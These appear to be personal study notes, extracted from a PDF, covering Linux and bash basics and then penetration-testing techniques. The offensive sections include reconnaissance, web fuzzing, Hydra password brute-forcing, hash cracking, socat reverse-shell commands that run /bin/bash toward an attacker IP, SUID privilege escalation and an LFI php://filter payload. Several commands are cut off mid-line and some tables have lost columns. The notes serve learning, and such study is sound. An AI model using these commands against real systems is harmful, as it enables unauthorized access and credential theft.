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1 Introduction

1.1 Contributing

Found an error or have a suggestion? Please open an issue on GitHub (github.com/dentremor/Software-Defined-Infrastrucure):



Figure 1: QR code to source repository

1.2 License



Figure 2: AGPL-3.0 license badge

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2 VM

2.1 **QEMU**

To create a disk image run the following command:

```
qemu-img create -f qcow2 disk.qcow2 64G
```

The VM can be executed with a bash script (remove Image.iso with the distro image of your choice):

#!/bin/bash

qemu-system-x86_64 -enable-kvm -m 4096 -smp \$(nproc) -cpu host -device ac97 -audiodev alsa,:

If you also have a 4k-panel, you probably will face some scaling issues like me. In that case make sure you use Wayland instead of X11.

3 Linux Basics

3.1 Basic Commands

Description
Displays current username.
print newline, word, and byte counts
for each file.
Locate a command.
Returns users identity.
Sets or prints the name of current
host system.
Prints basic information about the
operating system name and system
hardware.
Returns working directory name.
The ifconfig utility is used to assign
or to view an address to a network
interface and/or configure network
interface parameters.
IP is a utility to show or manipulate
routing, network devices, interfaces
and tunnels.
Shows network status.
Another utility to investigate sockets.
Shows process status.
Displays who are logged in.
Prints environment or sets and
executes command.

Command	Description
lsblk	Lists block devices.
lsusb	Lists USB devices.
lsof	Lists opened files.
lspci	Lists PCI devices.

3.2 FIND

find search for files in a directory hierarchy:

3.3 Filter Content

less is file pager.

sort sort lines of text files.

tr translate or delete characters.

column columnate lists - to display results in tabular form use the flag -t.

wc print newline, word, and byte counts for each file - -1 prints line counter

3.3.1 Grep

 ${\tt grep}$ print lines matching a pattern. If we want to exclude a result we must use the $-{\tt v}$ flag.

3.3.2 Cut

cut remove sections from each line of files.

```
$ cat /etc/passwd | grep -v "false\|nologin" | cut -d":" -f1

*(-d ":" = Sets a delimiter at the character `:`
-f1 = Selects only this field in our case the first one)
```

3.4 Locate

locate - find files by name

Update the database for locate:

\$ sudo updatedb

Search for all files that end with .conf

\$ locate *.conf

3.5 File Descriptors

- 1. Data Stream for Input
- STDIN 0
- 2. Data Stream for Output
- STDOUT 1
- 3. Data Stream for Output that relates to an error occurring.
- STDERR 2

If we want to discard for example all errors and redirect the data into a file we can use:

\$ find /etc/ -name shadow 2> stderr.txt 1> stdout.txt

4 Bash Scripting

If we want to execute a bash script we can do this by the following command:

\$ <interpreter> script.sh <optional arguments>

Run a bash script with persistent permissions (-p):

\$./bashscript -p

In the first line we can specify the interpreter but if we call the script with another one, the defined in the **shebang** will be ignored:

#!/bin/bash

This is also possible with other scripting languages like Python #!/usr/bin/env python. ### Conditional Execution

The rough basic structure is as follows:

```
if [[ -z "$string" ]]; then
  echo "String is empty"
elif [[ -n "$string" ]]; then
```

```
echo "String is not empty" fi
```

4.0.1 Operators

String comparison operators "< / >" works only within the double square brackets [[<condition>]].

Command	Description
[[-z STRING]]	Empty string
[[-n STRING]]	Not empty string
[[STRING == STRING]]	Equal
[[STRING != STRING]]	Not Equal
[[NUM -eq NUM]]	Equal
[[NUM -ne NUM]]	Not equal
[[NUM -lt NUM]]	Less than
[[NUM -le NUM]]	Less than or equal
[[NUM -gt NUM]]	Greater than
[[NUM -ge NUM]]	Greater than or equal
[[-o noclobber]]	If OPTIONNAME is enabled
[[! EXPR]]	Not
[[X && Y]]	And
[[X Y]]	Or
[[STRING =~ STRING]]	Regexp
((NUM < NUM))	Numeric conditions

4.0.2 File Operators

Command	Description
[[-e FILE]]	Exists
[[-r FILE]]	Readable
[[-h FILE]]	Symlink
[[-d FILE]]	Directory
[[-w FILE]]	Writable
[[-s FILE]]	Size is > 0 bytes
[[-f FILE]]	File
[[-x FILE]]	Executable
[[FILE1 -nt FILE2]]	1 is more recent than 2
[[FILE1 -ot FILE2]]	2 is more recent than 1
[[FILE1 -ef FILE2]]	Same files

4.1 Arguments

It is possible to pass up to 9 arguments (\$0-\$9) to a script:

\$./script.sh ARG1 ARG2 ARG3 ... ARG9 ASSIGNMENTS: \$0 \$1 \$2 \$3 ... \$9

4.2 Special Variables

Command	Description
\$#	This variable holds the number of arguments passed to the script.
\$@	This variable can be used to retrieve the list of command-line arguments.
\$n	Each command-line argument can be selectively retrieved using its position.
	For example, the first argument is
	found at \$1.
\$\$	The process ID of the currently
	executing process.
\$?	The exit status of the script. This
	variable is useful to determine a
	command's success. The value 0
	represents successful execution, while
	1 is a result of a failure.

4.3 Variables

It is important that when assigning a variable there is **no space** around the equal sign:

variable="test"

4.4 Arrays

The values in the array are separated by spaces. If we want to escape these spaces, we can use single quotes ("...") or double quotes ("...").

#!/bin/bash

domains=(www.inlanefreight.com ftp.inlanefreight.com vpn.inlanefreight.com www2.inlanefreight
echo \${domains[0]}

4.5 Arithmetic

Operator	Description
+	Addition

Operator	Description
_	Subtraction
*	Division
%	Modulus
variable++	Increase the value of the variable by 1
variable	Decrease the value of the variable by 1

We can also calculate the length of the variable. Using this function \${#variable}, every character gets counted, and we get the total number of characters in the variable.

4.6 Input Control

Read input from the user, while the script is running:

4.7 Output Control

In some cases the scripts take longer time and the user don't have any feedback. To solve this problem we can use tee, which enables us to write something to a file and also returning it as standard output:

```
netrange=$(whois $ip | grep "NetRange\|CIDR" | tee -a CIDR.txt)
*(-a = Append to the given FILEs, do not overwrite)
```

4.8 Loops

4.8.1 For Loops

The idea behind for loops is that we iterate over something, or we have a limit how often the loop should run.

```
Syntax - Examples
for $variable in 1 2 3 4
do
    echo $variable
done

for $variable in file1 file2 file3
do
    echo $variable
```

done

```
for ip in "10.10.10.170 10.10.10.174 10.10.10.175"
do
    ping -c 1 $ip
done
```

4.8.2 While Loops

The while loop will be executed as long the condition is fulfilled. There are two keywords available which gives us more control over the while loop.

- break \rightarrow Interrupts the loop
- continue \rightarrow Immediately continues with the next loop run

```
Syntax - Examples
#!/bin/bash
counter=0
while [ $counter -lt 10 ]
do
  # Increase $counter by 1
  ((counter++))
  echo "Counter: $counter"
 if [ $counter == 2 ]
 then
    continue
 elif [ $counter == 4 ]
 then
    break
 fi
done
```

4.8.3 Until Loops

Nevertheless, the until loop works precisely like the while loop, but with the difference:

• The code inside an until loop is executed as long as the particular condition is false

4.9 Switch case

The keyword for a switch-case-statement starts with the keyword case, followed by the variable or value as an expression, which is then compared in the pattern. If the variable or value matches the expression, then the statements are executed after the parenthesis and ended with a double semicolon (;;).

```
Syntax - Examples
read -p "Select your option: " opt

case $opt in
    "1") network_range ;;
    "2") ping_host ;;
    "3") network_range && ping_host ;;
    "*") exit 0 ;;
esac
```

4.10 Functions

The definition of a function is at the beginning of a bash script this ensures that it is already defined before it is called.

The function is called only by calling the specified name of the function.

4.10.1 Parameter Passing

In principle, the same applies to the passed parameters as to parameters passed to a shell script. These are \$1 - \$9 (\${n}), or \$variable as we have already seen. Each function has its own set of parameters. So they do not collide with those of other functions or the parameters of the shell script

```
Syntax - Examples #!/bin/bash
```

```
function print_pars {
    echo $1 $2 $3
}

one="First parameter"
two="Second parameter"
three="Third parameter"

print_pars "$one" "$two" "$three"
```

4.10.2 Return Values

Like our bash script, the functions return status codes:

Return Code	Description
1	General errors
2	Misuse of shell builtins
126	Command invoked cannot execute
127	Command not found
128	Invalid argument to exit
128+n	Fatal error signal "n"
130	Script terminated by Control-C
255*	Exit status out of range

To get the value of a function back, we can use several methods like return, echo, or a variable.

```
# One argument given
given_args "argument"
echo -e "Function status code: $?\n"

# Pass the results of the funtion into a variable
content=$(given_args "argument")
echo -e "Content of the variable: \n\t$content"
```

4.11 Debugging

Bash allows us to debug our code by using the "-x" (xtrace) and "-v" (verbose) options.

4.12 Cheat Sheet

For more information about bash scripting have a look in the following cheat sheet: devhints

5 Information Gathering

5.1 Passive Information Gathering

whois can be used for querying domain names, IP addresses, or autonomous systems.

5.1.1 DIG

dig is a DNS lookup utility.

WaybackMachine is an American digital library that provides free public access to digitalized materials, including websites, collected automatically via its web crawlers.

5.1.2 Project Sonar

To find all available subdomains we can use Project Sonar:

```
$ export TARGET="facebook.com"
$ curl -s https://sonar.omnisint.io/subdomains/$TARGET | jq -r '.[]' | sort -u
```

5.1.3 Certificates

To gain more information we can search for certificates at sites like crt.sh and search.censys.io.

5.2 Active Information Gathering

Wappalyzer is a browser extension which finds out what technologies are used on a website.

WAFWOOF is a Web Application Firewall Fingerprinting Tool.

Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.

 ${f 5.2.1}$ HTTP There are several headers we can face:

Header Type	Message Type	Description
General Headers	request & response	Describes the message rather than the content
Entity Headers	request & response	Describes the content
Request Headers	request	HTTP requests are
		messages sent by the
		client to initiate an
		action on the server
Response Headers	response	HTTP responses are
		messages sent by a
		server in response to a
		request message
Security Headers	response	These define certain
		policies and rules when
		accessing a web page,
		which the browser must
		follow

For further information please have a look at Mozilla's mdn web docs

The most commonly used request methods are: - GET - POST - HEAD - PUT - DELETE - OPTIONS - PATCH

5.2.1.1 **GET Request** We can gain information about the version of the web server and the operating system with the curl flag $\neg I$ which returns us the http header:

```
$ curl -I "http://${TARGET}"
*(-I = return HTTP header)
```

If we face HTTP authentication we can pass our credentials with one of the following two commands:

```
$ curl -u admin:admin http://${TARGET}
$ curl http://admin:admin@<SERVER_IP>:<PORT>/
*(-u = pass credentials to the server)
```

X-Powered-By header can tell us what the web app is using. We can see values like PHP, ASP.NET, JSP, etc.

Cookies are another value to look at as each technology by default has its cookies. Some default cookies are:

- .NET: ASPSESSIONID=
- PHP: PHPSESSID=
- JAVA: JSESSION=

We have the ability to pass headers with our request with -H. This can be useful if, for example, we want to provide an authorization token.

```
$ curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/
*(-H = pass a header)
```

If we want to repeat a request from the browser with cURL, we can copy (copy -> copy as cURL) the request as a curl command from the network tab.

It may happen that the server reflects the response to us in a JSON format. To be able to read it better, we have the possibility to improve the presentation.

```
$ curl -s http://<SERVER_IP>:<PORT>/api.php/city/le | jq
*(-s = silent
  jq = Command-line JSON processor)
```

5.2.1.2 POST Request It mostly appears that we have to log in with a POST request. In this case we can use command from below.

```
$ curl -L -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/ -i -v
```

- *(-L) = If the server reports that the requested page has moved to a different location -X = the method set with -X, --request overrides the method curl would otherwise select
 - -d = HTTP POST data

 - -i = Include protocol response headers in the output
 - -v = verbose)

With a successful authentication, we should gain a cookie from the Set-Cookie header. For all subsequent requests we can use this cookie to authenticate us.

```
$ curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/
```

*(-b <data|filename> = Pass the data to the HTTP server in the Cookie header)

In some cases it can appear that we have to use a JSON format

```
$ curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Content
```

*(-X) = the method set with -X, --request overrides the method curl would otherwise select

-d = HTTP POST data

-b <data|filename> = Pass the data to the HTTP server in the Cookie header

-H = pass a header)

5.2.2 WhatWeb

WhatWeb is a Web scanner - identify technologies used by websites.

```
$ whatweb -a 1 https://www.facebook.com -v
```

```
*(-a = Set the aggression level. 1(low) - 4(high)
```

-v = verbose)

5.2.3 Active Subdomain Enumeration (Zone transfer)

- 1. Identifying Nameservers: shell nslookup -type=NS <target>
- 2. Testing for ANY and AXFR Zone Transfer: shell nslookup -type=any -query=AXFR <target> <nameserver>

5.2.4 Gobuster - DNS

First we need to create our pattern file, which is described in Project Sonar section. Now we can export the parameters and run the gobuster command.

6 ffuf

ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing.

6.1 Performance

To increase the speed of ffuf we can increase the number of threads with the -t flag, but it is important that we don't give ffuf too much power because it could lead in a DoS.

```
$ ffuf -w <SNIP> -u <SNIP> -t 200
```

6.2 Directory Fuzzing

With the -w flag we can pass our wordlist, with -u the URL we want to fuzz. To tell ffuf where we want to fuzz, we need to place the FUZZ keyword this can look like the following command:

\$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER

6.3 Page Fuzzing

If we want, we can combine two keywords in one search. For that we can use FUZZ_1.FUZZ_2. #### Extension Fuzzing

\$ ffuf -w SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/b.

6.3.1 Page Fuzzing

6.4 Recursive Fuzzing

6.5 Subdomain Fuzzing

\$ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.example

6.6 Vhost Fuzzing

```
$ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://example.com
*(-H 'Host: FUZZ.example.com' = Header `"Name: Value"`, separated by colon.
-fs xxx = filter all incorrect results)
```

6.7 Parameter Fuzzing

6.7.1 GET Request

```
$ ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.acade
```

6.7.2 POST Request

```
$ ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://
```

7 Exploiting Network Services

7.1 GitHub Repos

[SecLists] (https://github.com/danielmiessler/SecLists) PayloadsAllTheThings

7.2 SSH

Authenticate via ssh with the key-file id_rsa:

```
$ ssh -i id_rsa user@10.10.10.10
*(-i [file] = Identity file)
```

7.3 NMAP

Checks open ports in defined range and check running services with Nmap:

```
nmap 10.10.221.8 -sV -p- -v
```

```
*(-p- = Scans the whole portrange
```

-v = verbose

-p = Specific port or portrange

-sV = Attempts to determine the version of the service running on port

-A = Enables OS detection, version detection, script scanning and traceroute)

7.4 FTP

Download a File from an FTP-Server with Wget:

```
$ wget -m ftp://user:password@ftp.example.com
*(-m = --mirror)
```

7.4.1 Hydra

Use Hydra for cracking password in our example on an FTP-Service:

```
$ hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
```

```
-P [file] = Points to the file containing the list of possible passwords
-vV = Very verbose: shows the login+pass combination for each attempt
[IP] = The IP address of the target machine
[ftp] = Sets the protocol)

On PHP

hydra -l admin -P /usr/shared/rockyou.txt <ip> http-post-form "/login.php?username=^USER^&pa
hydra http-post-form -U # For help

7.5 NFS

List name or NFS shares:

$ /usr/sbin/showmount -e [IP]

*(-e = Shows the NSF server's export list
[IP] = The IP Address of the NFS server)
```

= Number of parallel connections per target

-l [user] = Points to the user who's account you're trying to compromise

7.6 SMTP

-nolock

*(-t 4

There are three relevant commands, when it comes to SMTP:

= Specifies not to use NLM locking)

Connect NFS share with mount point on our machine: \$ sudo mount -t nfs IP:share /tmp/mount/ -nolock

```
(VRFY = Confirming the names of valid users

EXPN = Reveals the actual address of user's aliases and lists of e-mail (mailing lists)

RCPT TO = Specifies the e-mail address of the recipient)
```

IP:share = The IP Address of the NFS server, and the name of the share we wish to mount

= Type of device to mount, then specifying that it's NFS

7.7 Metasploit

```
*(search [name] = Search for a module and his description
use [name] = Selects a module by name
options = When a module is selected we will see the options of the r
set [option] [parameter] = Set a specific option with a specific parameter
run = Run the exploit)
```

For further information see the following documentation: offensive-security.com

7.8 MySQL

First we need a client, which is in our case default-mysql-client:

```
$ mysql -h [IP] -u [username] -p
*(-h [IP]
                 = Connect to the MariaDB server on the given host
  -u [username] = The MariaDB user name to use when connecting to the server
                 = The password to use when connecting to the server)
  1. use <database>;
  2. show tables;
  3. select * from <tablename>;
If we do not have any credentials we can use Nmap or Metasplot to gain this
information:
```bash
$ nmap --script=mysql-enum [target]
*(--script=mysql-enum
 = Scan with a single script: mysql-enum
 = The IP address of the target)
 [target]
Now that we know some usernames of the database, we can try to crack the
passwords of them with Hydra:
hydra -t 16 -l root -P /usr/share/wordlists/rockyou.txt -vV 10.10.6.199 mysql
 = Number of parallel connections per target
 -1 [user] = Points to the user who's account you're trying to compromise
 -P [file] = Points to the file containing the list of possible passwords
 -vV
 = Very verbose: shows the login+pass combination for each attempt
 = The IP address of the target machine
 [IP]
 [mysql]
 = Sets the protocol)
7.9 John the Ripper
If we have a hash which look something like the following example:
carl: *EA031893AA21444B170FC2162A56978B8CEECE18
We can pipe the hash in a file:
$ echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
And crack the password with John the Ripper:
$ john hash.txt
$ john --show --format=RAW-MD5 hash.txt
```

#### 7.10 Hashcat

\*(--show

\$ hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists

--format=<param> = force hash type: descrypt, bsdicrypt, md5crypt, RAW-MD5, bcrypt, LM, A

= show cracked passwords

#### 8 Web Fundamentals

#### 8.1 Curl

-d [param]

If we want to get sources of a webpage, we can do this with Curl:

```
$ curl -X GET http://10.10.4.59:8081/ctf/post.html
*(-X [GET] = Set kind of fetch method
 [target] = The URL of the webpage we want to fetch
```

= Sends the specified data in a POST request to the HTTP server)

We can also save files with the -0 flag:

To retrieve an even more verbose output use the -vvv flag. The certificate check can be skipped with the -k flag, when establish a https connection via curl.

CEWL password list generator.

WPSCAN scans the Word Press version.

Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.

DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects.

#### 8.2 Reverse Shell

#### 8.2.1 Netcat

```
Listener:
```

```
$ nc -lvnp 4242
```

Victim:

#### 8.2.2 Socat

Lister:

```
$ socat -d -d TCP4-LISTEN:4443 STDOUT
```

Victim (Linux):

```
$;socat TCP4:10.0.0.1:4443 EXEC:/bin/bash
```

```
Victim (Windows):
$;socat TCP4:192.168.168.1:4443 EXEC:'cmd.exe',pipes
8.2.3 Stabilize Shell
You can stabilize the shell with the python module pty:
python -c 'import pty; pty.spawn("/bin/bash")'
For more information checkout the following GitHub repo: PayloadsAll-
TheThings
If you gain access depending on the OS you can try the following commands to
get more information: >Linux
 $ whoami
 $ id
 $ ifconfig/ip addr
 $ uname -a
 # print system information
 # -e = select all processes -f = do full-format listing
 $ ps -ef
 $ less /etc/passwd
 # usernames with UID, GID, GECOS, home directory and login she
 $ cut -d: -f1 /etc/passwd # only usernames
 $ cat /etc/os-release
 # Get inforamtion about the OS and the OS version
 Windows
 $ whoami
 $ ver
 $ ipconfig
 $ tasklist
 $ netstat -an
8.3 Privilege Escalation
8.3.1 Exploiting SUID
```

# 9 LFI

sudo chmod +s bash

find / -perm /4000 2 /dev/null

entry=php://filter/convert.base64-encode/resource=index.php